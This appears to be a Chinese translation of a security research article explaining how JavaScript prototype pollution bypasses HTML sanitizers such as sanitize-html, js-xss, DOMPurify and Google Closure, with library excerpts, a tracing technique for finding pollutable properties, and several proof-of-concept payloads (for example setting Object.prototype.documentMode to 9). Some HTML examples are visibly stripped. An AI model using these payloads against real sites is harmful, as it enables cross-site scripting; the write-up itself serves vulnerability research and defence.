利用Prototype污染的方法繞過常見的HTML XSS檢查器
- const obj = {
 - prop1: 111,
 - prop2: 222,
 - }
 
我們還可以通過檢查其__proto__成員或調(diào)用Object.getPrototypeOf來找出什么對象是給定對象的Prototype:
同樣,我們可以使用__proto__或Object.setPrototypeOf設(shè)置對象的Prototype:
- const user = { userid: 123 };
 - if (user.admin) {
 - console.log('You are an admin');
 - }
 
乍看起來,似乎不可能使if條件成立,因為用戶對象沒有名為admin的屬性。但是,如果我們污染Object.prototype并定義名為admin的屬性,那么console.log將執(zhí)行!
- Object.prototype.admin = true;
 - const user = { userid: 123 };
 - if (user.admin) {
 - console.log('You are an admin'); // this will execute
 - }
 
- const obj1 = { a: 1, b: 2 };
 - const obj2 = { c: 3, d: 4 };
 - merge(obj1, obj2) // returns { a: 1, b: 2, c: 3, d: 4}
 
有時,該操作以遞歸方式工作,例如:
- const obj1 = {
 - a: {
 - b: 1,
 - c: 2,
 - }
 - };
 - const obj2 = {
 - a: {
 - d: 3
 - }
 - };
 - recursiveMerge(obj1, obj2); // returns { a: { b: 1, c: 2, d: 3 } }
 
- HeaderThis is some HTML
 
它應(yīng)該轉(zhuǎn)換為以下形式:
- HeaderThis is some HTML
 
- const ALLOWED_ELEMENTS = ["h1", "i", "b", "div"]
 
- Object.prototype.length = 10;
 - Object.prototype[0] = 'test';
 
- const ALLOWED_ELEMENTS = {
 - "h1": true,
 - "i": true,
 - "b": true,
 - "div" :true
 - }
 
然后,為了檢查某些元素是否被允許,庫可以檢查是否存在ALLOWED_ELEMENTS[element]。這種方法很容易被Prototype污染利用,因為如果我們通過以下方式污染Prototype:
- Object.prototype.SCRIPT = true;
 
不過你也可以使用備用選項將第二個參數(shù)傳遞給sanitizeHtml。不過你也可以不使用,選用默認(rèn)選項既可:
- sanitizeHtml.defaults = {
 - allowedTags: ['h3', 'h4', 'h5', 'h6', 'blockquote', 'p', 'a', 'ul', 'ol',
 - 'nl', 'li', 'b', 'i', 'strong', 'em', 'strike', 'abbr', 'code', 'hr', 'br', 'div',
 - 'table', 'thead', 'caption', 'tbody', 'tr', 'th', 'td', 'pre', 'iframe'],
 - disallowedTagsMode: 'discard',
 - allowedAttributes: {
 - a: ['href', 'name', 'target'],
 - // We don't currently allow img itself by default, but this
 - // would make sense if we did. You could add srcset here,
 - // and if you do the URL is checked for safety
 - img: ['src']
 - },
 - // Lots of these won't come up by default because we don't allow them
 - selfClosing: ['img', 'br', 'hr', 'area', 'base', 'basefont', 'input', 'link', 'meta'],
 - // URL schemes we permit
 - allowedSchemes: ['http', 'https', 'ftp', 'mailto'],
 - allowedSchemesByTag: {},
 - allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
 - allowProtocolRelative: true,
 - enforceHtmlBoundary: false
 - };
 
- // check allowedAttributesMap for the element and attribute and modify the value
 - // as necessary if there are specific values defined.
 - var passedAllowedAttributesMapCheck = false;
 - if (!allowedAttributesMap ||
 - (has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) ||
 - (allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1) ||
 - (has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) ||
 - (allowedAttributesGlobMap['*'] && allowedAttributesGlobMap['*'].test(a))) {
 - passedAllowedAttributesMapCheck = true;
 
我們將重點檢查allowedAttributesMap,簡而言之,將檢查是否允許當(dāng)前標(biāo)記或所有標(biāo)記使用該屬性(使用通配符“*”時)。非常有趣的是,sanitize-html具有某種針對Prototype污染的保護(hù)措施:
- // Avoid false positives with .__proto__, .hasOwnProperty, etc.
 - function has(obj, key) {
 - return ({}).hasOwnProperty.call(obj, key);
 - }
 
hasOwnProperty檢查一個對象是否有屬性,但它不遍歷Prototype鏈。這意味著所有對has函數(shù)的調(diào)用都不會受到Prototype污染的影響。但是,has不是用于通配符的!
- (allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1)
 
如果我用以下方法污染Prototype,結(jié)果如下:
- Object.prototype['*'] = ['onload']
 
那么onload將是任何標(biāo)簽的有效屬性,如下所示:
它還可以選擇接受第二個參數(shù),稱為options,而且它的處理方式是你在JS代碼中可以發(fā)現(xiàn)的對Prototype最無污染的模式:
- options.whiteList = options.whiteList || DEFAULT.whiteList;
 - options.onTag = options.onTag || DEFAULT.onTag;
 - options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr;
 - options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag;
 - options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr;
 - options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue;
 - options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml;
 
可能會污染options.propertyName格式的所有這些屬性。顯而易見的候選者是whiteList,它遵循以下格式:
- a: ["target", "href", "title"],
 - abbr: ["title"],
 - address: [],
 - area: ["shape", "coords", "href", "alt"],
 - article: [],
 
所以這個想法是定義我自己的白名單,接受帶有onerror和src屬性的img標(biāo)簽:
DOMPurify還接受帶有配置的第二個參數(shù),以下也出現(xiàn)了一種使其容易受到Prototype污染的模式:
- /* Set configuration parameters */
 - ALLOWED_TAGS = 'ALLOWED_TAGS' in cfg ? addToSet({}, cfg.ALLOWED_TAGS) : DEFAULT_ALLOWED_TAGS;
 - ALLOWED_ATTR = 'ALLOWED_ATTR' in cfg ? addToSet({}, cfg.ALLOWED_ATTR) : DEFAULT_ALLOWED_ATTR;
 
標(biāo)記,因此該漏洞利用只需要使用onerror和src污染ALLOWED_ATTR。
- goog.html.sanitizer.AttributeWhitelist = {
 - '* ARIA-CHECKED': true,
 - '* ARIA-COLCOUNT': true,
 - '* ARIA-COLINDEX': true,
 - '* ARIA-CONTROLS': true,
 - '* ARIA-DESCRIBEDBY': tru
 - ...
 - }
 
- ';
 - const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
 - const sanitized = sanitizer.sanitize(html);
 - const node = goog.dom.safeHtmlToNode(sanitized);
 - document.body.append(node);" _ue_custom_node_="true">
 
- if (cfg.ADD_ATTR) {
 - if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) {
 - ALLOWED_ATTR = clone(ALLOWED_ATTR);
 - }
 
我們可以從代碼段中提取以下可能的標(biāo)識符(假設(shè)標(biāo)識符為\w+):
- ["if", "cfg", "ADD_ATTR", "ALLOWED_ATTR", "DEFAULT_ALLOWED_ATTR", "clone"]
 
現(xiàn)在,我在Object.prototype中定義所有這些屬性,例如:
- Object.defineProperty(Object.prototype, 'ALLOWED_ATTR', {
 - get() {
 - console.log('Possible prototype pollution for ALLOWED_ATTR');
 - console.trace();
 - return this['$__ALLOWED_ATTR'];
 - },
 - set(val) {
 - this['$_ALLOWED_ATTR'] = val;
 - }
 - });
 
- if (cfg.ADD_ATTR)
 
它會轉(zhuǎn)化為:
- if ($_GET_PROP(cfg, 'ADD_ATTR))
 
如下所示$_GET_PROP定義為:
- window.$_SHOULD_LOG = true;
 - window.$_IGNORED_PROPS = new Set([]);
 - function $_GET_PROP(obj, prop) {
 - if (window.$_SHOULD_LOG && !window.$_IGNORED_PROPS.has(prop) && obj instanceof Object && typeof obj === 'object' && !(prop in obj)) {
 - console.group(`obj[${JSON.stringify(prop)}]`);
 - console.trace();
 - console.groupEnd();
 - }
 - return obj[prop];
 - }
 
多虧了這種方法,我才能發(fā)現(xiàn)另外兩個濫用Prototype污染的案例,該案例中的方法是可以繞過sanitizer。讓我們看看運行DOMPurify時記錄了什么內(nèi)容:
里面的內(nèi)容就是我想要的,讓我們看一下訪問documentMode的行:
- DOMPurify.isSupported = implementation && typeof implementation.createHTMLDocument !== 'undefined' && document.documentMode !== 9;
 
這樣,DOMPurify會檢查當(dāng)前的瀏覽器是否足夠現(xiàn)代,甚至可以與DOMPurify一起使用。如果isSupported等于false,那么DOMPurify將不執(zhí)行任何殺毒處理。這意味著我們可以污染Prototype并設(shè)置Object.prototype.documentMode=9來實現(xiàn)這一目標(biāo)。下面的代碼片段證明了這一點:
- const DOMPURIFY_URL = 'https://raw.githubusercontent.com/cure53/DOMPurify/2.0.12/dist/purify.js';
 - (async () => {
 - Object.prototype.documentMode = 9;
 - const js = await (await fetch(DOMPURIFY_URL)).text();
 - eval(js);
 - console.log(DOMPurify.sanitize(''));
 - // Logs: "", i.e. unsanitized HTML
 - })();
 
其次,我注意到一個有趣的外觀:
- < script >
 - Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//';
 - < /script >< script src= >< script >
 - goog.require('goog.html.sanitizer.HtmlSanitizer');
 - goog.require('goog.dom');
 - < /script >
 































 
 
 
 
 
 
 